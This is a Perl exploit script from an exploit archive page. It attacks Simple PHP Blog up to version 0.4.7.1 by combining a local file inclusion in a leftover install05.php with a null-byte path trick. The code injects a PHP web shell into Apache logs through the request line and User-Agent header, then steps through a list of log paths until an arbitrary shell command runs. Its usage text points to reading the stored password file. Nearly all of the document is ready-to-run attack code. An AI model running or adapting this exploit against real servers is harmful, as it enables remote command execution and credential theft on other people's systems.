exploits , vulnerabilities , articles , Simple PHP Blog <= 0.4.7.1 Remote Command Execution Exploit

Rated as : High Risk

#!/usr/bin/perl
use IO::Socket;

print "Simple PHP Blog <= 0.4.7.1 cmmnds xctn exploit\r\n";
print "through arbitrary local inclusion\r\n";
print "rgod rgod\@autistici.org\r\n";
print "-> this works with magic_quotes_gpc = Off\r\n\r\n";

# short explaination:
# we have this code in install05.php:
# <?php
#	require_once('scripts/sb_functions.php');
#	global $logged_in;
#	$logged_in = logged_in( false, false );
#
#	read_config();
#
#	global $blog_config;
#	if ( isset( $_GET[ 'blog_language' ] ) ) {
#		$blog_config[ 'blog_language' ] = $_GET[ 'blog_language' ];
#	}
#
#	require_once('languages/' . $blog_config[ 'blog_language' ] .
'/strings.php');
#	sb_language( 'install05' );
# ?>
# ...
#
# script is not deleted after installation, so, if magic_quotes_gpc =
Off,
# you can include an arbitrary file from local resources, poc:
#
#
http://[target]/[path_to_blog]/install05.php?blog_language=../../../../../../etc/passwd%00
#
# (breaking path through a null char)
#
# it seems you cannot inject php code (php tags are converted to html
entities)
# in SPB resources, but you can inject a shell in Apache logs, so... :
#
#
http://[target]/[path]/install05.php?blog_language=../../../../../../var/log/httpd/access_log%00&cmd=ls%20-la

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

if (@ARGV < 3)
{
print "Usage:\r\n";
print "perl spb_0471_incl.pl SERVER PATH COMMAND\r\n\r\n";
print "SERVER         - Server where Simple PHP Blog is
installed.\r\n";
print "PATH           - Path to Simple PHP Blog (ex: /spb/ or just
/)\r\n";
print "COMMAND        - A shell command (\"cat
./config/password.php\"\r\n";
print "                 to see encrypted username &
password)\r\n\r\n";
print "Example:\r\n";
print "perl spb_0471_incl.pl 192.168.1.3 /gbs/ ls -la\r\n";
exit();
}

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++)
{$cmd.="%20".urlEncode($ARGV[$i]);};

print "[1] Injecting some code in log files ...\r\n";
$CODE="<?php ob_clean();echo 666;passthru(\$_GET[cmd]);echo
666;die;?>";
$sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";
print $sock "GET ".$path.$CODE." HTTP/1.1\r\n";
print $sock "User-Agent: ".$CODE."\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);

# fill with possible locations
my @paths= (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

  for ($i=0; $i<=$#paths; $i++)
  {
    $a = $i + 2;
    print "[".$a."] trying with ".$paths[$i]."%00
for blog_language argument...\r\n";
    $sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv", PeerPort=>"80")
    or die "[+] Connecting ... Could not connect to host.\n\n";
    print $sock "GET
".$path."install05.php?cmd=".$cmd."&blog_language=".urlEncode($paths[$i])."%00
HTTP/1.1\r\n";
    print $sock "Host: ".$serv."\r\n";
    print $sock "Connection: close\r\n\r\n";
    $out='';
    while ($answer = <$sock>) {
    $out.=$answer;
    }
    close($sock);
    @temp= split /666/,$out,3;
    if ($#temp>1) {print "\r\nExploit
succeeded...\r\n".$temp[1];exit();}

  }
  #if you are here...
  print "\r\nExploit failed...\r\n";
securitydot.net - 2006-03-13